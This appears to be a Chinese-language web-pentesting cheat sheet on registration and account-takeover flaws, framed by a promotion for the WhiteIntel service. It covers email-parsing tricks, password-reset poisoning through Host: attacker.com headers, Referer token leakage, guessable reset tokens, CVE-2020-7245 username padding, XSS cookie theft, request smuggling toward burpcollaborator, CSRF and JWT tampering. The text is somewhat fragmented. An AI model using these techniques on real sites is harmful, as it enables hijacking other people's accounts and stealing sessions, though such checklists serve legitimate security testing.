Registration & Takeover Vulnerabilities
最后更新于
最后更新于
WhiteIntel 是一个由暗网支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件的侵害。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户接管和勒索软件攻击。
您可以在以下网址检查他们的网站并尝试他们的引擎:
尝试使用现有用户名生成
检查变化的电子邮件:
大写
+1@
在电子邮件中添加一些点
电子邮件名称中的特殊字符(%00,%09,%20)
在电子邮件后面放置黑色字符:test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
检查是否可以确定应用程序中是否已经注册了用户名。
创建用户时检查密码策略(检查是否可以使用弱密码)。 在这种情况下,您可以尝试暴力破解凭据。
查看此页面以了解如何尝试通过SQL注入在注册表单中进行账户接管或提取信息。
注册后尝试更改电子邮件并检查此更改是否被正确验证或是否可以更改为任意电子邮件。
检查是否可以使用一次性电子邮件
长 密码(>200)会导致DoS
检查账户创建的速率限制
使用username@burp_collab.net并分析回调
请求将密码重置到您的电子邮件地址
单击密码重置链接
不更改密码
单击任何第三方网站(例如:Facebook,Twitter)
拦截Burp Suite代理中的请求
检查引用者标头是否泄漏密码重置令牌。
在Burp Suite中拦截密码重置请求
在Burp Suite中添加或编辑以下标头:Host: attacker.com
,X-Forwarded-Host: attacker.com
使用修改后的标头转发请求
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
查找基于_host header_的密码重置URL,例如:https://attacker.com/reset-password.php?token=TOKEN
攻击者必须使用他们的帐户登录并转到更改密码功能。
启动Burp Suite并拦截请求。
将其发送到重复器选项卡并编辑参数:用户ID/电子邮件
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
密码重置令牌应该是随机生成的,并且每次都是唯一的。 尝试确定令牌是否过期或是否始终相同,在某些情况下,生成算法可能较弱且可被猜测。以下变量可能被算法使用。
时间戳
用户ID
用户电子邮件
名字和姓氏
出生日期
加密学
仅数字
小令牌序列(字符在[A-Z,a-z,0-9]之间)
令牌重用
令牌过期日期
使用API/UI触发特定电子邮件的密码重置请求,例如:test@mail.com
检查服务器响应并查找resetToken
然后在URL中使用令牌,如https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
使用与受害者用户名相同但在用户名之前和/或之后插入空格的用户名在系统上注册,例如:"admin "
使用您恶意的用户名请求重置密码。
使用发送到您电子邮件的令牌重置受害者密码。
使用新密码连接到受害者帐户。
平台CTFd容易受到此攻击的影响。 参见:CVE-2020-7245
在应用程序内或子域中找到XSS漏洞,如果cookie的范围限定为父域:*.domain.com
泄露当前的会话cookie
使用cookie作为用户进行身份验证
使用smuggler检测HTTP请求走私的类型(CL、TE、CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
\
构造一个请求,将POST / HTTP/1.1
覆盖为以下数据:
GET http://something.burpcollaborator.net HTTP/1.1 X:
,目的是将受害者重定向到burpcollab并窃取其cookie\
最终请求可能如下所示
为CSRF创建有效负载,例如:“自动提交密码更改的HTML表单”
发送有效负载
JSON Web Token可能用于验证用户身份。
编辑JWT以更改用户ID/电子邮件
检查弱JWT签名
WhiteIntel是一个由暗网推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到窃取恶意软件的影响。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户接管和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎: